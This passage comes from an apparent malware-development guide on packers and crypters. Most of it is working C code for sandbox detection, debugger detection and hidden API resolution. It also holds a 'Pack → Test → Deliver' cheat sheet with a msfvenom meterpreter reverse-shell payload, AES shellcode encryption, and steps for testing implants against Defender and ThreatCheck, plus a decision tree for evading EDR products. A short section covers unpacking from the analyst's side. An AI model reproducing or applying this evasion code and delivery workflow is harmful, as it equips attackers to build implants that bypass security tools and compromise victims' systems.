    // Less than 1024x768 → sandbox
    return (width < 1024 || height < 768);
}

// ── Check 7: Known sandbox processes ─────────────────────────
BOOL check_sandbox_processes() {
    const char* sandbox_procs[] = {
        "vboxservice.exe",   // VirtualBox
        "vboxtray.exe",      // VirtualBox
        "vmtoolsd.exe",      // VMware
        "vmwaretray.exe",    // VMware
        "sandboxie.exe",     // Sandboxie
        "cuckoo.py",         // Cuckoo sandbox
        "python.exe",        // Cuckoo agent
        "tcpdump",           // Network capture
        "wireshark.exe",     // Network capture
        "fiddler.exe",       // HTTP interception
        NULL
    };

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32 = { sizeof(pe32) };

    if (Process32First(snapshot, &pe32)) {
        do {
            for (int i = 0; sandbox_procs[i]; i++) {
                if (_stricmp(pe32.szExeFile, sandbox_procs[i]) == 0) {
                    CloseHandle(snapshot);
                    return TRUE;  // Sandbox process found
                }
            }
        } while (Process32Next(snapshot, &pe32));
    }
    CloseHandle(snapshot);
    return FALSE;
}

// ── Master sandbox check ─────────────────────────────────────
BOOL in_sandbox() {
    int score = 0;
    if (check_sleep_timing())       score++;
    if (check_low_ram())            score++;
    if (check_cpu_cores())          score++;
    if (check_small_disk())         score++;
    if (check_short_uptime())       score++;
    if (check_low_resolution())     score++;
    if (check_sandbox_processes())  score += 3;  // High confidence

    return (score >= 2);   // 2+ flags = likely sandbox → abort
}

15.2 Anti-Debug Checks

// anti_debug.c — Anti-debugging in packer stubs

#include <windows.h>

// ── Check 1: IsDebuggerPresent ────────────────────────────────
BOOL check_debugger_present() {
    return IsDebuggerPresent();
}

// ── Check 2: NtGlobalFlag (set to 0x70 when debugged) ────────
BOOL check_nt_global_flag() {
    DWORD nt_global_flag = 0;
    // Read NtGlobalFlag from PEB
    __asm__ __volatile__(
        "mov rax, gs:[0x60];"    // PEB pointer
        "mov eax, [rax + 0xBC];" // NtGlobalFlag offset
        "mov %0, eax;"
        : "=r"(nt_global_flag)
    );
    // 0x70 = FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS
    return (nt_global_flag == 0x70);
}

// ── Check 3: Timing attack (debuggers slow execution) ────────
BOOL check_execution_timing() {
    LARGE_INTEGER freq, start, end;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&start);

    // Short loop that should run in nanoseconds
    volatile int x = 0;
    for (int i = 0; i < 1000; i++) x += i;

    QueryPerformanceCounter(&end);
    double elapsed_us = (double)(end.QuadPart - start.QuadPart) 
                      / freq.QuadPart * 1e6;

    // If loop took >100 microseconds → debugger stepping
    return (elapsed_us > 100.0);
}

// ── Check 4: Parent process (debugger as parent) ──────────────
BOOL check_parent_process() {
    DWORD ppid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32 = { sizeof(pe32) };
    DWORD my_pid = GetCurrentProcessId();

    // Get my parent PID
    if (Process32First(snapshot, &pe32)) {
        do {
            if (pe32.th32ProcessID == my_pid) {
                ppid = pe32.th32ParentProcessID;
                break;
            }
        } while (Process32Next(snapshot, &pe32));
    }
    CloseHandle(snapshot);

    // Check if parent is a known debugger
    char parent_name[MAX_PATH] = {0};
    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | 
                               PROCESS_VM_READ, FALSE, ppid);
    if (hProc) {
        GetModuleFileNameExA(hProc, NULL, parent_name, MAX_PATH);
        CloseHandle(hProc);
    }

    const char* debuggers[] = {
        "x64dbg.exe", "x32dbg.exe", "ollydbg.exe",
        "windbg.exe", "ida.exe", "ida64.exe",
        "ghidra.exe", "radare2.exe", NULL
    };
    for (int i = 0; debuggers[i]; i++) {
        if (strstr(parent_name, debuggers[i])) return TRUE;
    }
    return FALSE;
}

15.3 Dynamic API Resolution (Hide Imports)

// dynamic_api.c
// Resolve WinAPI functions at runtime via hash — no imports visible in IAT

#include <windows.h>

// ── DJB2 hash function ────────────────────────────────────────
DWORD hash_djb2(const char* str) {
    DWORD hash = 5381;
    int c;
    while ((c = *str++))
        hash = ((hash << 5) + hash) + c;
    return hash;
}

// ── Find export by hash ───────────────────────────────────────
FARPROC get_proc_by_hash(HMODULE hModule, DWORD target_hash) {
    IMAGE_DOS_HEADER*     dos = (IMAGE_DOS_HEADER*)hModule;
    IMAGE_NT_HEADERS*     nt  = (IMAGE_NT_HEADERS*)
        ((BYTE*)hModule + dos->e_lfanew);
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)
        ((BYTE*)hModule + nt->OptionalHeader.DataDirectory[
            IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* names   = (DWORD*)((BYTE*)hModule + exp->AddressOfNames);
    WORD*  ordinals = (WORD*)((BYTE*)hModule + exp->AddressOfNameOrdinals);
    DWORD* funcs   = (DWORD*)((BYTE*)hModule + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)hModule + names[i]);
        if (hash_djb2(name) == target_hash) {
            return (FARPROC)((BYTE*)hModule + funcs[ordinals[i]]);
        }
    }
    return NULL;
}

// ── Pre-computed hashes (computed offline, never as strings in binary) ─
// python3 -c "h=5381; [print(h:=((h<<5)+h+ord(c))&0xFFFFFFFF) for c in 'VirtualAlloc']"
#define HASH_VirtualAlloc   0x382c0c97   // Pre-compute offline
#define HASH_VirtualProtect 0x844ff18d
#define HASH_LoadLibraryA   0xec0e4e8e
#define HASH_GetProcAddress 0x1fc75468

// ── Usage ─────────────────────────────────────────────────────
typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID,SIZE_T,DWORD,DWORD);

void demo_dynamic_resolve() {
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");

    pVirtualAlloc fpVirtualAlloc = (pVirtualAlloc)
        get_proc_by_hash(hKernel32, HASH_VirtualAlloc);

    // Now call VirtualAlloc without it appearing in IAT
    LPVOID mem = fpVirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
    // ...
}

16. Unpacking — Analyst Perspective

What it means: When you receive a packed binary during malware analysis (or are reversing a packed red team tool), you need to unpack it first to get to the real payload. This section covers how defenders/analysts approach this — useful for understanding what your packer needs to defeat.

16.1 Identifying Packers

# ── DIE (Detect It Easy) — detect 500+ packers ────────────────
die.exe suspicious.exe         # Windows
diec suspicious.exe            # CLI version

# ── PEiD ─────────────────────────────────────────────────────
# Older but still useful for common packers
# Download: https://github.com/wolfram77web/app-peid

# ── exiftool (metadata check) ─────────────────────────────────
exiftool suspicious.exe | grep -i packer

# ── strings (find packer artifacts) ──────────────────────────
strings suspicious.exe | grep -i "upx"
strings suspicious.exe | grep -i "mpress"
strings suspicious.exe | grep -iE "(themida|vmprotect|asprotect)"

# ── Python pefile — section check ─────────────────────────────
python3 -c "
import pefile, sys
pe = pefile.PE(sys.argv[1])
for s in pe.sections:
    print(s.Name.decode(errors='replace').strip('\x00'), 
          s.SizeOfRawData, s.Misc_VirtualSize, 
          f'{s.get_entropy():.2f}')
" suspicious.exe

16.2 Unpacking UPX

# ── Standard UPX unpack ───────────────────────────────────────
upx -d packed.exe              # Works if UPX headers are intact

# ── If UPX headers are corrupted (magic bytes patched) ────────
# Manual approach: find OEP via dynamic analysis

# Option 1: Fix magic bytes manually
python3 << 'EOF'
with open("packed.exe", "rb") as f:
    data = bytearray(f.read())
# Search for section names UPX0/UPX1 — even with corrupted magic
# the section names may still be present
# Patch: write UPX! magic back to expected offsets
# (offset varies — use a hex editor to find it)
EOF

# Option 2: Dynamic unpack with x64dbg
# 1. Open packed.exe in x64dbg
# 2. Set a breakpoint on VirtualAlloc
# 3. Run — VirtualAlloc will allocate the unpacked PE buffer
# 4. Single-step until JMP to OEP (typically a PUSHAD/POPAD pair)
# 5. At OEP: dump process with Scylla plugin → rebuild imports

16.3 Generic Unpacking (OEP Hunting)

# Generic unpacker workflow in x64dbg:
# 1. Load packed binary
# 2. Set BP on VirtualAlloc (most stubs allocate memory)
# 3. F9 (run) → BP hits at VirtualAlloc call
# 4. Note return address (where allocated buffer is filled)
# 5. Set HW exec breakpoint on buffer returned by VirtualAlloc
# 6. F9 → execution reaches unpacked code (OEP area)
# 7. Dump process: Scylla plugin → Dump → Fix IAT → Dump PE

# ── Useful x64dbg commands ────────────────────────────────────
bp VirtualAlloc                            # Break on VirtualAlloc
bp VirtualProtect                          # Break on VirtualProtect
bphws 0xNNNNNNNN, "x"                      # Hardware exec BP
!dumpDLL outputfile.exe                    # Dump DLL from memory
# Scylla: Plugins → Scylla → IAT Autosearch → Get Imports → Dump

# ── Automated tools ───────────────────────────────────────────
# Unpac.me — online sandboxed unpacker: https://www.unpac.me
# Unipacker — Python-based emulation unpacker
pip install unipacker
unipacker packed.exe

17. Tools Reference

Packers / Crypters

Tool Type Platform Notes
UPX LZMA packer Win/Lin/Mac Free, signatured — always modify
Hyperion AES crypter Windows Brute-force key recovery stub
MPRESS Packer Windows Less known than UPX
Donut PE→shellcode Windows TheWover, .NET/EXE/DLL/PS1
ProtectMyTooling Multi-chain Windows Daisy-chains packers
Inceptor Template packer Windows PE packer + AMSI/EDR bypass
PolyEngine Poly packer Windows CTF/low-level education
pe-packer-x64 Simple packer Windows Template for custom builds
ScareCrow EDR-bypass packer Windows Signed loader generation
TinyLoad VM + LZ77 packer Windows Custom VM per build

Analysis / Detection

Tool Purpose Link
DIE Detect 500+ packers https://github.com/horsicq/Detect-It-Easy
ThreatCheck Find AV-triggering bytes https://github.com/rasta-mouse/ThreatCheck
DefenderCheck Defender-specific trigger finder https://github.com/matterpreter/DefenderCheck
pefile Python PE parser pip install pefile
x64dbg Dynamic analysis/unpacking https://x64dbg.com
Scylla IAT dumper (x64dbg plugin) Built into x64dbg
Unipacker Automated emulation-based unpacker https://github.com/unipacker/unipacker
unpac.me Online automated unpacker https://www.unpac.me
CFF Explorer PE structure editor NTCore

Build & Support

# pefile — parse/modify PE files
pip install pefile

# pycryptodome — AES/RC4/ChaCha20
pip install pycryptodome

# zlib — Python stdlib (no install needed)
import zlib

# lzma — Python stdlib
import lzma

# UPX
sudo apt install upx-ucl
# or: https://github.com/upx/upx/releases

# MinGW cross-compiler (build Windows PE on Linux)
sudo apt install gcc-mingw-w64-x86-64

# Donut
git clone https://github.com/TheWover/donut && cd donut && make

# ProtectMyTooling
git clone https://github.com/mgeeky/ProtectMyTooling
pip install -r ProtectMyTooling/requirements.txt

18. Comparison Matrix

Technique AV Bypass EDR Bypass Complexity File Size Detection Risk Reversibility
UPX (stock) Very Low Very Low Trivial Smaller Very High (signatured) Trivial (upx -d)
UPX + modified headers Low Low Low Smaller High Medium
Custom ZLIB packer Medium Low-Med Medium Smaller Medium (entropy) Hard
Custom AES crypter High Medium Medium Larger Low-Med Hard
Hyperion Medium Medium Low Same Medium (signatured) Medium
Polymorphic packer High Medium High Variable Low Hard
Metamorphic engine Very High High Very High Variable Very Low Very Hard
VM-based (VMProtect) Very High High Commercial Larger Low Extremely Hard
Donut (plain) Medium Medium Low Variable Medium Medium
Donut + AES crypter High High Medium Variable Low Hard
Multi-chain (PMT) Very High High Low (tool) Variable Low Hard
Env-keyed crypter Very High Very High Medium Same Very Low Impossible*

*Without the correct target environment fingerprint


19. Cheat Sheet

Quick Workflow — Pack → Test → Deliver

# Step 1: Generate payload (raw shellcode or PE implant)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 -f raw -o shellcode.bin
# OR use your C2's payload generator (Havoc, Sliver, Cobalt Strike)

# Step 2: Check baseline entropy
python3 entropy_check.py shellcode.bin

# Step 3a: Quick pack with UPX (dev only — NOT production)
upx --best shellcode.exe -o packed.exe

# Step 3b: Donut convert (if .NET / PS1 payload)
./donut -i SharpHound.exe -o sc.bin -b 1

# Step 4: Custom crypter — AES-256 encrypt
python3 crypter_builder.py    # Outputs stub_output.c
x86_64-w64-mingw32-gcc stub_output.c -o implant_crypted.exe -lbcrypt

# Step 5: Chain with ProtectMyTooling (optional additional layer)
py ProtectMyTooling.py callobf,upx implant_crypted.exe final.exe

# Step 6: Check entropy of final output
python3 entropy_check.py final.exe

# Step 7: Test against Defender (offline)
"C:\Program Files\Windows Defender\MpCmdRun.exe" \
    -Scan -ScanType 3 -File final.exe

# Step 8: ThreatCheck — find remaining signature bytes
ThreatCheck.exe -f final.exe

# Step 9: Submit to antiscan.me (NOT VirusTotal — avoid sample sharing)
# https://antiscan.me

Packer Selection Decision Tree

Need to pack a payload?
│
├─ CTF / learning?
│   └─ UPX --best → custom stub modification → done
│
├─ Red team engagement — AV only (Defender)?
│   ├─ Custom AES crypter + ZLIB compression
│   └─ ProtectMyTooling: callobf,upx
│
├─ Red team — EDR present (CrowdStrike / SentinelOne)?
│   ├─ Custom AES crypter
│       + environment-keyed (derive from MachineGUID)
│       + anti-sandbox checks in stub
│       + anti-debug checks
│       + dynamic API resolution (no visible IAT)
│       └─ Test with ThreatCheck before deploying
│
├─ APT simulation / advanced engagement?
│   ├─ Donut → polymorphic stub generator
│   ├─ Metamorphic code mutation
│   └─ VM-based protection (VMProtect / custom VM)
│
├─ Shellcode packing (not a full PE)?
│   ├─ XOR + AES + Base64 (see Encryption notes)
│   └─ Donut for .NET → shellcode → pack as above
│
└─ Maximum stealth (no key on disk)?
    └─ Environment-keyed AES
       + staged delivery (key from C2)
       + HTTPS transport
       + sandbox evasion in stub

Key Commands

# Entropy check (one-liner)
python3 -c "
import math, sys
from collections import Counter
d=open(sys.argv[1],'rb').read()
c=Counter(d); n=len(d)
e=-sum((v/n)*math.log2(v/n) for v in c.values())
print(f'Entropy: {e:.4f} / 8.0')
" file.exe

# UPX pack + section rename
upx --best implant.exe -o packed.exe
python3 -c "
import pefile
pe=pefile.PE('packed.exe')
for s in pe.sections:
    if b'UPX' in s.Name:
        s.Name = b'.text\x00\x00\x00' if s.Name==b'UPX0\x00\x00\x00\x00' else b'.data\x00\x00\x00'
pe.write('packed_renamed.exe')
"

# AES encrypt shellcode (one-liner)
python3 -c "
from Crypto.Cipher import AES; from Crypto.Util.Padding import pad; import os
k=os.urandom(32); iv=os.urandom(16); d=open('shellcode.bin','rb').read()
open('shellcode.enc','wb').write(iv+AES.new(k,AES.MODE_CBC,iv).encrypt(pad(d,16)))
print('Key:',k.hex()); print('IV:',iv.hex())
"

# Donut convert .NET EXE
./donut -i SharpHound.exe -o sc.bin -b 1 -e 3

# ProtectMyTooling chain
py ProtectMyTooling.py callobf,hyperion,upx implant.exe output.exe -i

# Check PE sections + entropy
python3 -c "
import pefile, sys
pe=pefile.PE(sys.argv[1])
[print(s.Name.decode(errors='r').strip('\x00'), f'{s.get_entropy():.2f}') for s in pe.sections]
" packed.exe

# ThreatCheck
ThreatCheck.exe -f implant.exe

# Cross-compile C stub for Windows (Linux host)
x86_64-w64-mingw32-gcc stub.c -o implant.exe -lbcrypt -lz -mwindows -O2 -s

Packer Anatomy Quick Reference

Every packer has two parts:

BUILDER (runs on attacker machine):
  1. Read original PE/shellcode
  2. Compress (ZLIB/LZMA) → reduce size + break patterns
  3. Encrypt (AES-256/XOR) → hide compressed bytes
  4. Write key + IV + blob into stub PE
  5. Output: packed.exe (what goes to target)

STUB (runs on target machine at execution):
  1. Find embedded blob (hardcoded offset / .rsrc / section)
  2. Decrypt (BCrypt AES or custom XOR)
  3. Decompress (ZLIB uncompress or LZMA)
  4. [Optional] Anti-sandbox + anti-debug checks
  5. Allocate RW memory (VirtualAlloc)
  6. Copy PE into memory
  7. Fix imports (manual IAT patch)
  8. Fix relocations
  9. VirtualProtect → PAGE_EXECUTE_READ
  10. Jump to OEP

Entropy Reference

Normal PE sections:
  .text  (code):    5.0 – 6.5   ← Compiled code, not random
  .rdata (data):    3.5 – 5.5   ← Strings, some structure
  .data  (vars):    2.0 – 4.0   ← Often zeros, low entropy
  .rsrc  (resources): 4.0 – 6.0 ← Images/icons add entropy

Packed/encrypted sections:
  XOR-encoded:      7.0 – 7.5   ← High, but not uniform
  ZLIB-compressed:  7.5 – 7.9   ← Very high, near random
  AES-encrypted:    7.9 – 8.0   ← Max, indistinguishable from random

Detection thresholds (common):
  >7.0 → Suspicious (heuristic flag)
  >7.5 → Very likely packed/encrypted
  ~8.0 → AES or equivalent → certain packing

References & Further Reading

Tools: - Donut — https://github.com/TheWover/donut - ProtectMyTooling — https://github.com/mgeeky/ProtectMyTooling - Inceptor — https://github.com/klezVirus/inceptor - PolyEngine — https://github.com/LongWayHomie/PolyEngine - TinyLoad — https://dev.to/iamsopotatoecoder (custom VM packer) - UPX — https://github.com/upx/upx - DIE — https://github.com/horsicq/Detect-It-Easy - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck - MorphKatz — https://github.com/gmh5225/morphkatz (x64 code mutator) - Unpacker — https://github.com/anpa1200/Unpacker

MITRE ATT&CK: - T1027 — Obfuscated Files or Information - T1027.002 — Software Packing - T1620 — Reflective Code Loading

Further Reading: - Fox-IT Blog — Malware Virtualisation in Red Teaming (2024): https://blog.fox-it.com/2024/09/25/red-teaming-in-the-age-of-edr-evasion-of-endpoint-detection-through-malware-virtualisation/ - Malwarebytes — Explained: Packer, Crypter, and Protector: https://www.threatdown.com/blog/explained-packer-crypter-and-protector - Sektor7 — Malware Development courses (maldev.sektor7.net) - Red Team Notes — https://www.ired.team - packer-tutorial — https://github.com/W4ZM/packer-tutorial (full C packer tutorial)

← Malware development top ↑